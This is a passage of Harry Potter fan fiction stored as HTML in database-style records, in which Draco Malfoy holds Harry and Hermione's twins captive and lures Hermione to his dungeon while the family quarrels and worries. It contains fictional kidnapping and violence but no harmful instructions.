over.&#8221; She looked up at him. &#8220;I&#8217;m really sorry Blue, I wish now we&#8217;d just told them when you moved in.&#8221;</p>\n\n<p>&#8220;Don&#8217;t worry about it&#8230; you need to worry about your family right now.&#8221; Blue twisted his fingers into her hair, loosening it from the twist. &#8220;I&#8217;ll still be here when it&#8217;s all over.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; she replied as she kissed him again. &#8220;Where will you stay?&#8221;</p>\n\n<p>&#8220;Probably with Doyle.&#8221; He answered as he moved to the closet and grabbed a change of clothes. &#8220;I&#8217;ll owl you tomorrow then, all right?&#8221;</p>\n\n<p>&#8220;I&#8217;ll walk you out.&#8221; She said, tossing her now loosened hair over her shoulder. They silently left the bedroom and went past Harry&#8217;s door, which was already dark underneath. &#8220;He&#8217;s so exhausted.&#8221;</p>\n\n<p>&#8220;We all are.&#8221; Blue replied. Caitlyn opened the front door and he stepped outside. &#8220;I&#8217;ll owl you for lunch.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; she replied softly and after one more kiss he apparated away.</p>\n\n<p>Please don&#8217;t forget to R/R!! I need reviews! Please? Pretty please! I&#8217;ll love you forever!!! Hehehehe</p> '),
	(84, 7, ' <p>Chapter 7</p>\n\n<p>Caitlyn stretched against her white cotton sheets as she pulled them closer around her. It was cold in bed that morning and she reached for Blue, cuddling with him would always make her warm again. Instead, her hand hit his empty pillow and her eyes shot open as she groaned as the events of the previous evening came back to her.</p>\n\n<p>&#8220;Should&#8217;ve told them&#8230;&#8221; Caitlyn muttered as she brushed some long strands of hair off her face and pulled her robe around her. She paused in the bathroom to wash her face and brush her teeth, then made her way down the short flight of stairs to the kitchen, where her father was sitting at the table.</p>\n\n<p>&#8220;Morning,&#8221; she mumbled as she went to the stove.</p>\n\n<p>&#8220;Good morning,&#8221; Harry answered, setting the Daily Prophet down. &#8220;Did you sleep well?&#8221;</p>\n\n<p>&#8220;All right I guess,&#8221; Caitlyn shrugged. &#8220;What about you?&#8221;</p>\n\n<p>&#8220;All right,&#8221; Harry said, but she could tell he was lying. The dark circles under his eyes were only magnified this morning.</p>\n\n<p>&#8220;Want some breakfast?&#8221; she asked, pulling out a pan and grabbing some eggs.</p>\n\n<p>&#8220;Sure,&#8221; Harry replied. She made some eggs quickly and brought him a plate. &#8220;Thanks,&#8221; he said as he shovelled the food in his mouth. He hadn&#8217;t eaten in days, and until now he had no idea how hungry he was.</p>\n\n<p>Caitlyn watched him as he ate, a dull pang going through her head as she did so. &#8220;Are you going to talk to Mum?&#8221; she asked before she could stop herself.</p>\n\n<p>Harry&#8217;s head shot up as if he was surprised to hear her ask, although he really wasn&#8217;t. He looked at his daughter for several long seconds before looking back down without answering.</p>\n\n<p>Caitlyn sighed heavily. &#8220;The longer you stay away the more she thinks you blame her.&#8221; She said. &#8220;And now with the media hounding us all&#8230;&#8221;</p>\n\n<p>&#8220;I told Ron to spread the word.&#8221; Harry spoke now. &#8220;I don&#8217;t want a repeat&#8230; I don&#8217;t want a repeat of what happened before with Hermione&#8230;&#8221;</p>\n\n<p>&#8220;Why didn&#8217;t you tell anyone then?&#8221; Caitlyn voiced a question she&#8217;d always wanted to ask.</p>\n\n<p>Harry rubbed his eyes before pushing his glasses back up on his nose. &#8220;I was stupid,&#8221; he confessed. &#8220;I was so much younger then&#8230; I had you to look after and I didn&#8217;t want to have the press bothering you as you grew up. That&#8217;s why I left&#8230; and I regret it to this day that I never tried harder to find her.&#8221; He ran a hand through his hair, and he looked more exhausted to Caitlyn than he ever had before.</p>\n\n<p>&#8220;So&#8230; are you going to go talk to Mum?&#8221; Caitlyn asked again several minutes later. </p>\n\n<p>&#8220;I&#8217;ll try,&#8221; Harry replied. &#8220;If she doesn&#8217;t kick me out,&#8221; a slight smile tugged at the corners of his mouth.</p>\n\n<p>Caitlyn returned it. &#8220;Good,&#8221; she said, reaching across the table to squeeze his hand. &#8220;Do you want me to go with you?&#8221; she asked as she took the dishes to the sink.</p>\n\n<p>&#8220;No, I&#8217;m sure I can handle it. Besides,&#8221; Harry got up from the table. &#8220;I know you want me out so that Blue can move back in&#8230;&#8221; a genuine smile crossed his face as he heard his daughter begin to protest as he left the kitchen.</p>\n\n<p>~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n\n<p>Draco silently went down the stairs to the dungeons with the last bit of food they had in the Manor. Something inside him wouldn&#8217;t let the two children starve. It scared him, made him think he was becoming a bit soft.</p>\n\n<p>&#8220;Not for Potter&#8217;s brats,&#8221; he muttered as he came upon the cell. They were both sleeping, curled up next to one another for warmth, as he hadn&#8217;t tossed any sort of blankets down there. Draco made not a sound as he opened the bars and went inside. His Animagus form was certainly true to nature, as it had taught Draco how to slink around silently when he wanted to. He set the plate down as he watched for any sort of movement.</p>\n\n<p>The girl turned and sighed in her sleep. &#8220;Daddy&#8230;&#8221; she whispered and Draco froze. He didn&#8217;t move a muscle until her breathing became regular again. The boy was curled into a little ball and had obviously not heard his sister talk. </p>\n\n<p>Not realising at first what he was doing, Draco sat down next to the girl, looking at the way her <st1:time minute="0" hour="0">midnight</st1:time> curls fell over her face. With fingers that were feather light, he brushed them away, rubbing them gently between his thumb and index fingers. She was a beautiful child, far more good-looking than he would have thought a reproduction of Potter and the Mudblood would be. </p>\n\n<p>&#8220;You could have been mine,&#8221; he whispered.&nbsp; &quot;I could have a wife, children, money...a life.&nbsp; But no, Potter and your Mudblood mother took that away from me.&nbsp; Such youthful beauty...&quot;&nbsp; His nose turned up in a sneer at the thought of The Boy Who Lived.</p>\n\n<p>Carl fought hard not to tremble as he watched the thin blond man stroke his sister&#8217;s hair through lidded eyes and whispered things he couldn&#8217;t hear. He was terrified of this man; he didn&#8217;t know what he wanted with them, and he didn&#8217;t know if he was planning on hurting them. </p>\n\n<p>&#8220;She could have been just like you,&#8221; Draco continued to run his fingers through the girl&#8217;s black locks. &#8220;If Potter hadn&#8217;t done what he did to me and my family, I could have been happy with a daughter just like you&#8230;&nbsp; Instead your father left me here with nothing!&nbsp; You could have been mine,&#8221; he repeated, &quot;&#8230;could have been mine.&quot;&nbsp; He leaned over and at the same moment, the boy shifted onto his back and drew in a sharp breath. Draco fell back and looked around wildly, not sure what he was doing. Scrambling to his feet, he fumbled for the barred door and left the cell, locking it up behind him as he tripped back up the stairs. </p>\n\n<p>Once he was out of the dungeons, Draco leaned back against the wall and clutched at his chest while he tried to catch his breath. What the bloody hell was he doing down there? Getting involved with Potter&#8217;s children was not in his plan. </p>\n\n<p>It was time to set the next part in motion.</p>\n\n<p>~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n\n<p>Harry tumbled out of the fireplace in his living room and dusted himself off. The house was silent, a sombre atmosphere falling over the normally happy rooms. His piano stood in the corner untouched for a few weeks now, a light covering of dust over the keys. Peering through the curtains, he saw to his astonishment that there were still several members of the media camping out on their lawn. Harry bit his lower lip and went into the kitchen, where he saw Hermione crouched over the table. Her hair hung in limp stringy pieces around her pale face. There were dark smears under her eyes, and her hands hugged a mug of tea.</p>\n\n<p>Hermione looked up the moment he entered the kitchen and they stared at each other. &#8220;Hello Harry,&#8221; she finally said, and her voice was cracked.</p>\n\n<p>&#8220;Hermione,&#8221; he replied in greeting. He didn&#8217;t move for several long minutes as an uncomfortable silence hung between them. &#8220;May I sit down?&#8221;</p>\n\n<p>&#8220;It&#8217;s your house too,&#8221; she replied coolly. Harry sat down across from her and she noticed that he looked just as bad as she did. Her mind told her that it was a good thing while her heart thumped painfully, telling her how much she truly missed him. </p>\n\n<p>Harry bit down harder on his lower lip as he tried to think of what to say to Hermione. She simply looked back at him with a sad, haunted look in her eyes that made his insides collapse with guilt. &#8220;I&#8217;m sorry,&#8221; he heard himself choke out finally.</p>\n\n<p>&#8220;What?&#8221; she asked.</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; Harry repeated. &#8220;God, Hermione, I&#8217;m so sorry&#8230;&#8221; his last words were muffled because they had both jumped out of their chairs and embraced each other in the middle of the kitchen. &#8220;I never blamed you Hermione&#8230; I am so sorry,&#8221; he could feel her sob into his shoulder, and had a hard time holding back his own tears.</p>\n\n<p>&#8220;I&#8217;m so glad you came back&#8230;&#8221; Hermione was still sobbing. She pulled back from Harry and rubbed at her red eyes. &#8220;You don&#8217;t blame me&#8230; that&#8217;s what I needed to know.&#8221;</p>\n\n<p>&#8220;I never blamed you,&#8221; Harry said gently, wiping away tears from her face. &#8220;I needed someone to blame, I was just so angry! I had to travel all over the place while I had no clue what was going on, and it just burst out of me.&#8221; he pulled her close again. </p>\n\n<p>&#8220;You shouldn&#8217;t have said it though, Harry.&#8221; Hermione spoke into his chest. &#8220;It hurt me so much,&#8221; she let out a long, shuddering sigh.</p>\n\n<p>&#8220;I know,&#8221; he replied in a low, ashamed tone. </p>\n\n<p>&#8220;Have you heard anything&#8230;&#8221; Hermione started to ask, but she didn&#8217;t need to finish her question as she saw the look on her husband&#8217;s face.</p>\n\n<p>&#8220;Not a damn word,&#8221; Harry said, his voice tight. &#8220;I was over there before I came here&#8230; it&#8217;s been days now and there&#8217;s no news.&#8221;</p>\n\n<p>&#8220;I need them back Harry,&#8221; Hermione&#8217;s eyes grew wet again. &#8220;God, if something&#8217;s happened to them&#8230;I want to get out there and look but I&#8217;m terrified if I leave, someone will contact us&#8230;&#8221;</p>\n\n<p>&#8220;I&#8217;ll find them; I promise I&#8217;ll find them.&#8221; Harry said forcefully. He held his wife against him again for several long minutes. &#8220;Listen, Hermione, I need to talk to you about something else.&#8221;</p>\n\n<p>&#8220;What is it?&#8221; Hermione wiped her nose and sat down in one of the chairs. </p>\n\n<p>&#8220;I&#8230;&#8221; Harry faltered for a moment. &#8220;I want to take Colin from Hogwarts and have him here with us.&#8221;</p>\n\n<p>&#8220;What?&#8221; Hermione looked shocked.</p>\n\n<p>&#8220;Colin. I want to bring him home.&#8221; Harry repeated. &#8220;He&#8217;ll be safer here where you and I can look after him.&#8221;</p>\n\n<p>Hermione got up and walked to the sink, gripping it&#8217;s edges tightly. &#8220;No, Harry.&#8221;</p>\n\n<p>&#8220;What do you mean no?&#8221; Harry asked sharply. </p>\n\n<p>&#8220;Harry Colin is safe at Hogwarts! Do you think Dumbledore is going to let anything happen?&#8221; Hermione&#8217;s voice was growing strained. &#8220;We can&#8217;t deprive him of an education if there are no threats to him!&#8221;</p>\n\n<p>&#8220;Like there were no threats on our twins?&#8221; Harry asked, suddenly furious. &#8220;I suppose we&#8217;re to be notified if something is going to happen to our children!&#8221;</p>\n\n<p>&#8220;Stop it Harry!&#8221; Hermione screamed. </p>\n\n<p>&#8220;Stop what?&#8221; Harry shouted back. &#8220;Stop caring about what happens to my kids like you?&#8221;</p>\n\n<p>&#8220;You&#8217;re doing the same thing you did before!&#8221; Hermione was disbelieving. &#8220;Flying off the handle and accusing me of things you KNOW aren&#8217;t true!!!&#8221;</p>\n\n<p>Harry said nothing, only glared at her, and that made Hermione even angrier. She reached behind her and picked up the first thing she could find, which happened to be a water glass. &#8220;BASTARD!&#8221; she screamed, throwing it at his head. He ducked away in time and moved to the hallway.</p>\n\n<p>&#8220;This time I <i>won&#8217;t</i> be back!&#8221; he shouted, going into the living room. Hermione heard him throw some Floo Powder into the fireplace and mumble something, and then heard the whooshing sound and she knew he was gone. Falling into her kitchen chair again, she began to sob harder than she had by far, feeling that this was the lowest point of her entire life.</p>\n\n<p>Blue Weasley followed the rest of his team into the locker rooms. They had been practising harder than ever and each and every one of them was exhausted. He looked forward to getting back to Doyle&#8217;s flat and getting a good night&#8217;s sleep. As he headed towards his locker, Blue noticed a tawny owl sitting on top if it. </p>\n\n<p>&#8220;What the&#8230;&#8221; he muttered, accepting the message it had for him. The owl flew away as he opened the note. </p>\n\n<p>Alan Francis Doyle, or as he preferred to be called, Doyle, watched as his friend read a note, grow pale, and proceed to change clothes so fast one would have thought he was that Muggle superhero, Superman.</p>\n\n<p>&#8220;Tell Monaghan that I have to go,&#8221; Blue tossed his bag over his shoulder and brushed his hair out of his face. &#8220;Family emergency.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Everything all right?&#8221; Doyle asked, concerned. He knew about the Potter twins disappearance due to the media coverage.</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Blue replied. &#8220;I&#8217;ll see you later though, all right?&#8221; he was already on his way out the door. Once he left the stadium he was able to apparate to his front door. Letting himself in, he dropped his bag in the hallway and went into the living room. </p>\n\n<p>&#8220;Blue!&#8221; Caitlyn raised her head as soon as her boyfriend came in. Fresh sobs rose in her throat as he came over and pulled her up into his arms.</p>\n\n<p>&#8220;What&#8217;s wrong love?&#8221; he tried to ask soothingly, but a ball of fear tightened in his stomach. &#8220;Did&#8230; did you hear anything&#8230;&#8221;</p>\n\n<p>&#8220;No nothing!&#8221; she choked. &#8220;God, we have no idea what&#8217;s going on and now my parents have fought again and my dad said he&#8217;s not going back this time&#8230; my mum is a complete mess&#8230;.&#8221; She began to cry too hard to talk as his arms tightened around her. </p>\n\n<p>&#8220;Shhhh&#8230;.&#8221; He tried to calm her down. &#8220;Come on, you know they&#8217;re going to work it out.&#8221;</p>\n\n<p>&#8220;I don&#8217;t know, not for sure,&#8221; Caitlyn pulled away and wiped her nose. &#8220;I&#8217;m so scared&#8230;&#8221;</p>\n\n<p>&#8220;We all are,&#8221; Blue smoothed some stray hairs back that had escaped her braid. He pressed his lips softly to her forehead, wanting to comfort her any way he could. &#8220;It&#8217;s all going to be all right,&#8221; he whispered as he moved his mouth down to her cheek. &#8220;We&#8217;re going to find your brother and sister, and your parents are going to make up&#8230;&#8221; he kissed her other cheek. &#8220;Everything&#8217;s going to be fine,&#8221; he rubbed his thumb across her other cheek, wiping away a stray tear.</p>\n\n<p>&#8220;Do you really think so?&#8221; Caitlyn asked softly. He nodded and rested his forehead against hers, not taking his hands from the sides of her face. She stared into his eyes for a moment, and then leaned forward so that their lips brushed against one another. Blue responded more from his body than from what his head was telling him at the moment. Even though they&#8217;d only been separated for a day, he found that he had a craving for her.</p>\n\n<p>Caitlyn kissed him harder, opening her mouth as his tongue swept inside. He pushed his fingers up into her hair above her braid with one hand while his other pulled her down onto the sofa on top of him. She let out several small cries into his mouth that nearly drove him mad as their bodies pressed together. Blue reached up under her shirt, stroking her bare skin as Caitlyn ran her hands through his hair repeatedly.</p>\n\n<p>&#8220;Blue, make love to me&#8230;&#8221; she muttered as she drew away from his mouth for some air and then pressed back down on him.&nbsp; &#8220;I just want to feel good again, please&#8230;&#8221;</p>\n\n<p>Blue tried to respond but it was impossible as his girlfriend seemed determined to snog him as hard as she could. Little alarm bells started going off in his head. He wanted to make love to Caitlyn, but at the same time, her father was just a few rooms away and could walk in at any moment much like he had done the first night he got there. With that in mind, Blue tried to push her away as gently as he could.</p>\n\n<p>&#8220;Come on, Caty, your dad is just upstairs&#8230;&#8221; he pulled away from her mouth. </p>\n\n<p>&#8220;So?&#8221; she seemed unperturbed by the thought. </p>\n\n<p>&#8220;Well what if he walks in on us?&#8221; Blue hissed.</p>\n\n<p>&#8220;We can go to our room,&#8221; Caitlyn seemed insistent.</p>\n\n<p>&#8220;Well&#8230;&#8221; Blue looked around the room as if he was trying to find an excuse. &#8220;We&#8217;re not exactly the quietest couple&#8230;&#8221;</p>\n\n<p>&#8220;Are you trying to get out of it or something?&#8221; Caitlyn asked, suddenly frustrated. &#8220;Are you <i>scared</i> what my father will do if he finds us?&#8221; her tone turned mocking.</p>\n\n<p>&#8220;Hey,&#8221; Blue sat up, his eyebrows furrowing. &#8220;Don&#8217;t get mad at me because you&#8217;re upset about everything going on.&#8221;</p>\n\n<p>Caitlyn jumped up from the couch, her eyes blazing. &#8220;What&#8217;s that bloody supposed to mean?&#8221; she snapped.</p>\n\n<p>&#8220;It just means that now isn&#8217;t the best time,&#8221; Blue tried to stay patient. </p>\n\n<p>&#8220;Oh, I see how it is. It&#8217;s only fine for us to have sex when YOU want to!&#8221; Caitlyn nearly shouted. &#8220;What, have you just decided you don&#8217;t love me enough anymore is that it?&#8221;</p>\n\n<p>&#8220;Now you&#8217;re just being ridiculous!&#8221; Blue got up from the sofa. &#8220;How could you say I don&#8217;t love you enough?&#8221;</p>\n\n<p>&#8220;Well then why don&#8217;t you want to do anything?&#8221; Caitlyn pushed him away. </p>\n\n<p>Blue sighed. &#8220;Dammit, Caty!&#8221;</p>\n\n<p>&#8220;Don&#8217;t swear at me Blue!&#8221; she shouted. &#8220;In fact, don&#8217;t ever do anything with me AGAIN!&#8221; she pushed him away once more and stormed out of the room, past her father who had just appeared in the doorway.</p>\n\n<p>Blue looked over at Harry and sighed again, running his hands back through his hair as he sat down on the sofa. &#8220;What was that all about?&#8221; Harry asked as he came into the room.</p>\n\n<p>&#8220;I don&#8217;t even know,&#8221; Blue replied and both of them flinched as a loud slam echoed through the flat. </p>\n\n<p>&#8220;Caty&#8217;s angry about her mother and me, isn&#8217;t she?&#8221; Harry sat down next to the younger man.</p>\n\n<p>&#8220;Yeah,&#8221; Blue answered. &#8220;She&#8217;s worried that the two of you are splitting up and that you&#8217;ll never find her brother and sister.&#8221;</p>\n\n<p>Harry looked over at the fire. &#8220;Her mother and I&#8230; we&#8217;ll be all right. It&#8217;s just a difficult time for all of us and Hermione and I said things to each other that we didn&#8217;t mean.&#8221;</p>\n\n<p>&#8220;Does Caitlyn know that?&#8221; Blue asked.</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Harry replied. &#8220;I guess not, if she&#8217;s fighting with you over it.&#8221; He paused and smiled a bit at Blue. &#8220;She&#8217;s got my temper I&#8217;m afraid.&#8221;</p>\n\n<p>Blue smiled back. &#8220;Yeah,&#8221; he agreed. &#8220;I mean&#8230; no&#8230;&#8221; he tried to take back what he just said.</p>\n\n<p>&#8220;It&#8217;s all right,&#8221; Harry said. &#8220;I know she&#8217;s a lot more like me than she even wants to admit.&#8221; The two men sat in silence for a good few minutes. &#8220;Do you love my daughter?&#8221; he asked suddenly.</p>\n\n<p>&#8220;More than anything,&#8221; Blue replied without hesitation.</p>\n\n<p>&#8220;You didn&#8217;t even have to think about that, did you?&#8221; Harry asked.</p>\n\n<p>&#8220;No&#8230; she&#8217;s so much a part of me that I can&#8217;t imagine doing anything without her.&#8221; Blue said. </p>\n\n<p>&#8220;I&#8217;m glad to hear that.&#8221; Harry replied. &#8220;I&#8217;m glad she&#8217;s got someone like you.&#8221;</p>\n\n<p>&#8220;Really?&#8221; Blue asked.</p>\n\n<p>&#8220;What, you think I&#8217;ve never approved of you?&#8221; Harry tried to joke.&nbsp; </p>\n\n<p>&#8220;Well, no&#8230; I just&#8230;&#8221; Blue wasn&#8217;t able to put into words what he was thinking.</p>\n\n<p>&#8220;I&#8217;m glad my daughter chose someone who respects her,&#8221; Harry interrupted. &#8220;You&#8217;ve been good to her&#8230; every father should be so lucky to see his daughter that happy.&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; Blue replied. &#8220;It means a lot to hear that,&#8221; he said honestly. Both men turned when they heard a noise in the doorframe.</p>\n\n<p>&#8220;What are you guys doing?&#8221; Caitlyn asked.</p>\n\n<p>&#8220;Nothing, just talking.&#8221; Harry stood up, as well as Blue.</p>\n\n<p>&#8220;Can Blue and I have a moment alone?&#8221; Caitlyn asked. &#8220;I need to talk to him.&#8221; She looked at her boyfriend behind her father.</p>\n\n<p>Harry just smiled and squeezed her shoulder before disappearing into the hallway. Blue and Caitlyn looked at each other for a long moment before she finally came into the room.</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; she said. &#8220;I&#8230; don&#8217;t know why I said what I said to you.&#8221;</p>\n\n<p>&#8220;You were mad.&#8221; Blue replied as they both sat down next to one another. </p>\n\n<p>&#8220;I know, but it&#8217;s not an excuse,&#8221; Caitlyn wrapped her arms around herself. She had taken her braid out and her long hair flowed down her back, the fire bringing out reddish highlights. &#8220;It&#8217;s just&#8230; I&#8217;m so tired of feeling upset and angry all the time&#8230;&#8221; </p>\n\n<p>&#8220;It&#8217;s not right that you take it out on the people that love you,&#8221; Blue replied. </p>\n\n<p>&#8220;I&#8217;m not much better than my father was with my mum am I?&#8221; Caitlyn bit her lower lip as she tried to keep her eyes from tearing up again.&nbsp; &#8220;I don&#8217;t deserve to have you here right now.&#8221;</p>\n\n<p>&#8220;Oh come on, now you&#8217;re just having a pity party.&#8221; Blue wrapped his arms around her and nuzzled her long locks. &#8220;Maybe if I join you it&#8217;ll make you feel better.&#8221;</p>\n\n<p>&#8220;Honestly,&#8221; she said but it made her smile. &#8220;I love you,&#8221; Caitlyn hugged him around the waist. </p>\n\n<p>&#8220;I love you more,&#8221; he kissed the top of her head then tilted her face back to kiss her on the lips. </p>\n\n<p>Caitlyn closed her eyes as Blue&#8217;s mouth lingered on hers. &#8220;Now I notice you didn&#8217;t challenge that&#8230;&#8221; he said when they parted. A small laugh escaped her and he grinned. </p>\n\n<p>&#8220;Did my dad say anything to you about you living here?&#8221; Caitlyn asked, looking up at him.</p>\n\n<p>&#8220;What?&#8221; he looked confused. &#8220;No, why?&#8221;</p>\n\n<p>&#8220;He knows,&#8221; Caitlyn chewed on her lower lip for a second. &#8220;I didn&#8217;t have to tell him or anything, he just&#8230; guessed.&#8221;</p>\n\n<p>&#8220;Really?&#8221; Blue asked. &#8220;He didn&#8217;t mention it&#8230; I guess that means he&#8217;s okay with it.&#8221;</p>\n\n<p>&#8220;Must be,&#8221; Caitlyn replied. &#8220;He&#8217;s probably not <i>okay</i> with it&#8230; but he&#8217;s really got no choice in the matter does he?&#8221;</p>\n\n<p>Blue smiled down at her. &#8220;So I guess this means I&#8217;m moving back in eh?&#8221;</p>\n\n<p>&#8220;I hope so.&#8221; Caitlyn rested her head against his chest. &#8220;I hate sleeping in that bed alone. It&#8217;s too cold.&#8221;</p>\n\n<p>&#8220;Well let&#8217;s go warm it up then.&#8221; Blue helped her put out the fire and they went to bed.</p>\n\n<p>~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n\n<p>Draco sat at his father&#8217;s old desk, one of the only salvageable things he&#8217;d been able to find in the ruins of the Manor. He was using special ink that he&#8217;d had Daniela go find for him, which would leave no trace of the quill used in writing the note he was scripting at that very moment. </p>\n\n<p>&#8220;It&#8217;s coming now, Mudblood.&#8221; He smiled cruelly as he folded the note and put it in a thick, cream coloured envelope. Pausing a moment, he got out of the chair and went across the room, where he bent down to the ground and pulled a crumbling rock from the wall. Reaching deep, his thin hands soon found a small box tucked to the right side of the hole. Pushing the rock back in, he carried the box back to the desk and opened it.</p>\n\n<p>Pulling a trinket from the box, Draco paused a moment to look at the object in his hand before slipping it into the envelope as well.</p>\n\n<p>&#8220;Well, it won&#8217;t be long now before everything falls into place.&#8221; Draco stood by the window watching the raven fly away with the note dangling in its claws. He hated using owls&#8230; the raven was so much more dark, just like him.</p>\n\n<p>&#8220;Everything&#8217;s coming together now,&#8221; Draco let the wind whip his pale hair before turning back into the room and shutting it out.</p> '),
	(84, 8, ' <p>Chapter 8</p>\n\n<p>Lost and Found</p>\n\n<p><b>A/N: Sorry, yet again, for the delay. I had massive writers block, again. I hate it. My muse is a horrid bitch who takes off whenever she feels like it and I&#8217;m stuck looking at my stories with an empty head. I seem to block a lot on this one for some reason, I&#8217;m not sure why.</b></p>\n\n<p><b></b></p>\n\n<p><b>Anyways, here is the new chapter. I will for sure be posting the next chapter a week from now. I can actually promise that LOL. Also, I&#8217;m going to try finishing up the Raven soon so I can get it over and done with. </b></p>\n\n<p><b></b></p>\n\n<p><b>I&#8217;ve got a few new ideas to put after this story is over, I think you&#8217;ll all like them. Thanks for being patient and sticking with me! I truly appreciate it. </b></p>\n\n<p>****&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ****&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ****</p>\n\n<p>&#8220;Come on Hermione, you&#8217;ve got to eat something,&#8221; Lavender tried to push a plate with food on it towards her friend. </p>\n\n<p>&#8220;I don&#8217;t want to,&#8221; Hermione refused, her eyes downcast. &#8220;This is all worse than before Lav, I can&#8217;t take it anymore.&#8221;</p>\n\n<p>&#8220;Hermione don&#8217;t talk that way.&#8221; Lavender sat down and smoothed Hermione&#8217;s limp hair back off her face. </p>\n\n<p>&#8220;No, it&#8217;s true!&#8221; Hermione pushed Lavender&#8217;s hand away. &#8220;Harry and I will never work anything out, he&#8217;s too damned stubborn and pig headed. And there&#8217;s STILL no word on my children!&#8221; she began to sob again and Lavender hugged her. &#8220;I can&#8217;t leave the house because if I do, I might miss someone contacting us&#8230; yet I feel so useless just sitting around!&#8221;</p>\n\n<p>&#8220;Its fine,&#8221; Lavender reassured her. &#8220;Harry&#8217;s out there looking, you&#8217;re here waiting&#8230;&#8221;</p>\n\n<p>Hermione sniffed loudly. &#8220;Thanks Lav, I appreciate it.&#8221;</p>\n\n<p>&#8220;I&#8217;ll stay as long as you need me to okay?&#8221; Lavender said. </p>\n\n<p>&#8220;Okay,&#8221; Hermione replied, blowing her nose on a napkin. </p>\n\n<p>&#8220;I need to go to the bathroom,&#8221; Lavender got up. &#8220;I&#8217;ll be right back.&#8221;</p>\n\n<p>Hermione nodded as her friend left the kitchen. She picked up the sandwich that had been put in front of her and took a small bite, chewing thoroughly before swallowing. About to take another, she was startled when a large black bird tapped it&#8217;s beak on the window. </p>\n\n<p>She pushed back her chair so hard it fell to the ground as she rushed to the window and opened it. The raven swooped inside and dropped an envelope on the counter, immediately flying back out. Hermione snatched up the package with shaking fingers and without hesitation tore it open. </p>\n\n<blockquote>- <i>If you want to see your children again, follow the path. ALONE.-</i></blockquote>\n\n<p>Hermione read it aloud to herself several times, each sweep of her eyes making her tremble harder and harder.&nbsp; &#8220;Follow the path?&#8221; she wondered. Looking into the envelope again, Hermione noticed a piece of the envelope tucked into itself. She tore it open and something fell to the floor. </p>\n\n<p>&#8220;No&#8230;&#8221; Hermione felt her stomach lurch violently as she bent to the floor and picked the object up. </p>\n\n<p>It was her wedding band, from the first time she and Harry had gotten married.</p>\n\n<p>A tiny cry escaped Hermione&#8217;s throat, a cry of surprise and panic. &#8216;<i>Who would have sent me my old wedding ring in a ransom note?&#8217;</i> she wondered, but didn&#8217;t have time to do anything else as she was suddenly pulled away, the note dropping from her hand.</p>\n\n<p>After spinning through several minutes, Hermione was thrown onto a dirty floor, scraping up her palms. She staggered to her feet while regaining her breath, and then grew dizzy as she began to recognise her surroundings. Spinning around and dropping the ring unconsciously, Hermione started to tremble again as she moved slowly over to a wall, a very familiar wall with a few broken chains hanging, moss seeping through the cracks.</p>\n\n<p>&#8220;No!!!&#8221; Hermione cried, visibly shaking. </p>\n\n<p>&#8220;Mummy!&#8221; two voices suddenly echoed through the room and Hermione spun around. Streaking across the room, she pulled her two youngest children against her as she began to cry.</p>\n\n<p>&#8220;Are you all right?&#8221; she asked, frantically kissing their faces and hugging them as close to her as she could.</p>\n\n<p>&#8220;We&#8217;re okay Mummy,&#8221; Carl answered as Corinne clung to their mother. &#8220;A mean blond man brought us here and we saw you in the room!&#8221;</p>\n\n<p>&#8220;What?&#8221; Hermione looked down at her son. &#8220;A blond man?&#8221; her mind began to work furiously. &#8220;What&#8230; what was his name?&#8221; she asked fearfully. </p>\n\n<p>&#8220;Oh come now Granger&#8230;&#8221; a voice drawled behind her and Hermione&#8217;s blood ran cold. &#8220;Are you telling me you&#8217;ve forgotten that year we spent together?&#8221;</p>\n\n<p>&#8220;Draco Malfoy,&#8221; Hermione tried hard to keep her voice from shaking as she stood up, pushing her children behind her. </p>\n\n<p>Draco smiled cruelly. &#8220;So you haven&#8217;t forgotten,&#8221; he said calmly.</p>\n\n<p>&#8220;How could I?&#8221; Hermione asked, her voice angry. &#8220;How did you get out of Azkaban?&#8221;</p>\n\n<p>&#8220;That&#8217;s really not the important thing, now is it?&#8221; Draco replied. &#8220;Get them out of here,&#8221; he spoke to Crabbe and Goyle, who had appeared behind him. The two hulking men moved over to Hermione and the children.</p>\n\n<p>&#8220;You are not taking them anywhere!&#8221; Hermione spoke through clenched teeth. Crabbe simply smirked and she blindly struck out at him, catching the edge of his jaw. Draco came up and grabbed her wrists, pinning her up to the wall as Carl and Corinne were taken from the room.</p>\n\n<p>&#8220;Let me go you bastard!&#8221; Hermione struggled as hard as she could but wasn&#8217;t able to break free. </p>\n\n<p>Draco smiled coldly at her. &#8220;Aw, Granger, don&#8217;t cry,&#8221; he said mockingly. &#8220;I&#8217;m just a little hell bent on revenge is all.&#8221;</p>\n\n<p>Hermione spat in his face. &#8220;You&#8217;re despicable.&#8221; Her lip curled up as he gripped both her wrists in one hand as he wiped his face with the other. &#8220;Harry&#8217;s going to kill you for this!&#8221; her head snapped to the side as Draco backhanded her. </p>\n\n<p>&#8220;Not before I do what I set out to do though,&#8221; Draco pulled back on her hair, baring her neck. &#8220;I&#8217;m going to make your worst fears come true,&#8221; he said, purposefully moving right up against her. </p>\n\n<p>&#8220;What do you mean?&#8221; Hermione asked, her voice still shaking. She kept trying to work herself free but Draco hard too hard a grip on her now.</p>\n\n<p>&#8220;Why, using Potter blood to bring back the Dark Lord of course,&#8221; Draco grinned frighteningly. &#8220;Once I bring him back&#8230; you and Potter will know what it&#8217;s like to lose everything. I&#8217;ll be right next to him, and once he&#8217;s got his full power&#8230; you will know the meaning of suffering.&#8221; Draco finally let go of her hair and pushed her hard so against the wall her head smacked against the rotting stone. &#8220;Except maybe that older daughter of yours&#8230; she&#8217;s turned out quite sexy, almost delectable, considering she came from a Mudblood. I might just keep her around&#8230;&#8221; </p>\n\n<p>Hermione&#8217;s blood boiled when Draco laughed, and she flew away from the wall and scratched him viciously. &#8220;You BASTARD! YOU WILL NOT HURT ANOTHER ONE OF MY CHILDREN!&#8221; she screamed as she hit him as hard as she could repeatedly.</p>\n\n<p>Draco swung out at her and caught her on the cheek; Hermione fell back and Draco was on top of 